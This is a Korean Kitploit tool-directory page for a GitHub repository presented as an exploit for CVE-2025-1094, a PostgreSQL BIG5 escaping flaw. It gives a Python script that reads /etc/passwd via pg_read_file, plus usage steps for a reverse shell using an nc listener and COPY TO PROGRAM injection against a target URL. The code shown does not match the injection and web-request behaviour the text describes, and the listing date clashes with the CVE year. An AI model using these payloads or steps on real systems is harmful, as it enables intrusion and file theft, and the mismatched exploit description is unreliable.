Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-1094 — 인코딩 불일치로 인한 입력 삭제(샌니타이징) 결함으로, 조작된 입력이 필터를 우회할 수 있게 합니다. 서버가 취약한 경우, 공격자는 백엔드가 실행하는 악성 SQL을 주입할 수 있습니다. | Kitploit
도구/GitHubGitHub/aninfosec/cve-2025-1094
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload DevelopmentDatabase SecurityLabs & Practice
GitHubaninfosec/cve-2025-1094

CVE-2025-1094

인코딩 불일치로 인한 입력 삭제(샌니타이징) 결함으로, 조작된 입력이 필터를 우회할 수 있게 합니다. 서버가 취약한 경우, 공격자는 백엔드가 실행하는 악성 SQL을 주입할 수 있습니다.

저장소 보기
11년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

#저는 CVE-2025-1094에서 제공되는 PoC를 참고하여 이 익스플로잇을 작성했습니다.

CVE‑2025‑1094 | PostgreSQL 입력 검증 취약점

개요

CVE‑2025‑1094는 PostgreSQL의 libpq 이스케이프 함수와 psql 대화형 도구에서 발생하는 입력 검증 취약점입니다. 클라이언트 인코딩이 BIG5로 설정된 경우 멀티바이트 인코딩을 제대로 처리하지 못하는 데서 비롯됩니다. 특정 조건에서는 이스케이프 문자가 잘못 처리되어 공격자가 의도된 쿼리 경계를 우회할 수 있습니다.

이 취약점은 Rapid7이 BeyondTrust 어플라이언스의 별도 문제인 CVE‑2024‑12356을 분석하는 과정에서 발견했습니다. PostgreSQL의 이러한 동작은 더 광범위한 연쇄 취약점의 일부로 악용되어 백엔드 동작에 추가로 영향을 미치는 데 사용되었습니다.

작동 원리

웹 서버나 애플리케이션이 psql을 통해 실행되는 SQL 쿼리에 사용자 입력을 직접 전달하고 client_encoding이 BIG5로 설정된 경우, 특수하게 조작된 입력으로 SQL 문을 조기에 종료시키고 악성 SQL을 추가할 수 있습니다.

이를 통해 PostgreSQL의 lo_export, pg_read_file 또는 유사한 함수를 이용해 로컬 파일(예: /etc/passwd)을 읽는 등의 추가 작업이 가능해집니다.

이는 기본적으로 PostgreSQL의 원격 코드 실행(RCE) 취약점이 아닙니다. 오히려 PostgreSQL 클라이언트 API의 오용으로, 필터링이나 이스케이프가 제대로 이루어지지 않을 경우 민감한 파일 내용을 유출하거나 잠재적으로 위험한 SQL을 실행하는 데 악용될 수 있습니다.

영향

  • 안전하지 않게 구성된 경우 PostgreSQL 서버에서 파일 읽기 액세스가 가능해집니다.
  • 유효한 자격 증명을 가진 공격자가 클라이언트 애플리케이션의 SQL 인젝션과 결합하여 COPY TO, pg_read_file 또는 lo_export를 악용할 수 있습니다.
  • 익스플로잇은 클라이언트 인코딩이 BIG5이고 입력이 제대로 검증되지 않은 경우에만 유효합니다.

악용에 필요한 조건

  • 공격자가 유효한 PostgreSQL 자격 증명(인증된 컨텍스트)을 보유하거나 PostgreSQL 서버로 입력을 직접 전송하는 웹 서버에 대한 액세스 권한이 있어야 합니다.
  • 백엔드 SQL이 PostgreSQL이고 취약한 버전(2025년 6월 패치 버전 이전)을 사용해야 합니다.
  • 애플리케이션이 검증되지 않은 입력을 SQL에 직접 전달해야 합니다.
  • PostgreSQL 클라이언트가 client_encoding=BIG5로 구성되어 있어야 합니다.

익스플로잇 시연

root@kitploit:~
import psycopg2

conn = psycopg2.connect(
    host="127.0.0.1",
    dbname="test",
    user="test",
    password="Test"
)
conn.set_client_encoding("BIG5")
cursor = conn.cursor()

# Payload to read /etc/passwd into a server-accessible file
sql = \
"""
DO $$ DECLARE f text; BEGIN f := pg_read_file('/etc/passwd', 0, 1000);
RAISE NOTICE '%%', f; END $$;
"""

cursor.execute(sql)
conn.commit()

##✅ 이 Exploit.py는 무엇을 하나요:

환경에 PGCLIENTENCODING=BIG5를 설정합니다(트리거 조건).

쿼리에서 빠져나와 새로운 COPY TO PROGRAM 명령을 삽입하는 SQL 인젝션 페이로드를 제작합니다.

취약한 웹 서버(/search?q=...)에 GET 요청을 통해 페이로드를 전송합니다.

백엔드가 psql과 검증되지 않은 입력을 사용하는 경우 COPY TO PROGRAM이 실행되어 결과를 쓰거나 셸을 엽니다.

⚠️ 리버스 셸은 서버가 다음 조건을 충족할 때만 성공합니다:

root@kitploit:~
psql을 사용하여 SQL을 실행해야 합니다(파라미터화된 DB 드라이버가 아님)

COPY TO PROGRAM을 허용해야 합니다(슈퍼유저 필요)

공격자에 대한 아웃바운드 연결이 가능해야 합니다

#이 Python 스크립트는 BIG5 인코딩으로 입력을 PostgreSQL psql 프로세스에 직접 전달하는 취약한 웹 서버에 특수하게 제작된 페이로드를 전송합니다: 사용 단계:

터미널에서 리스너를 시작합니다:

nc -lvnp 4444

익스플로잇 스크립트를 편집합니다:

TARGET_URL을 대상 서버의 IP 또는 도메인으로 설정합니다. ENDPOINT가 라우트(예: /search)와 일치하는지 확인합니다. REVERSE_IP와 REVERSE_PORT를 공격 머신에 맞게 조정합니다.

다른 터미널에서 스크립트를 실행합니다 :

python3 exploit.py

결과: 성공하면 리스너에서 연결을 받게 됩니다. 실패할 경우 대신 pg_read_file 페이로드를 사용하여 파일(예: /etc/passwd) 읽기를 시도해 보세요.

실습 환경

테스트하려면 다음이 필요합니다:

  • PostgreSQL 14.x(또는 그 이전의 취약한 버전).
  • EUC_TW 또는 유사한 인코딩으로 초기화되어 있어야 합니다.
  • 애플리케이션 계층(예: Flask)이 psql 또는 이스케이프되지 않은 동적 SQL을 사용하여 PostgreSQL과 상호작용해야 합니다.
  • PostgreSQL 사용자가 pg_read_file 또는 lo_export와 같은 함수에 접근할 수 있어야 합니다.

완화 조치

  • 패치된 PostgreSQL 버전(≥ 17.3, 16.7, 15.11, 14.16, 13.19)으로 업그레이드하세요.
  • 명시적으로 필요한 경우가 아니라면 client_encoding=BIG5 사용을 피하세요.
  • SQL 실행 컨텍스트에 원시 사용자 입력을 절대 전달하지 마세요.
  • Prepared Statement와 입력 검증 라이브러리를 사용하세요.

참고 자료

  • Rapid7 블로그: 기술 분석
  • PostgreSQL 권고: 2025년 6월 보안 릴리스
  • CVE 세부 정보: CVE-2025-1094
도구 다운로드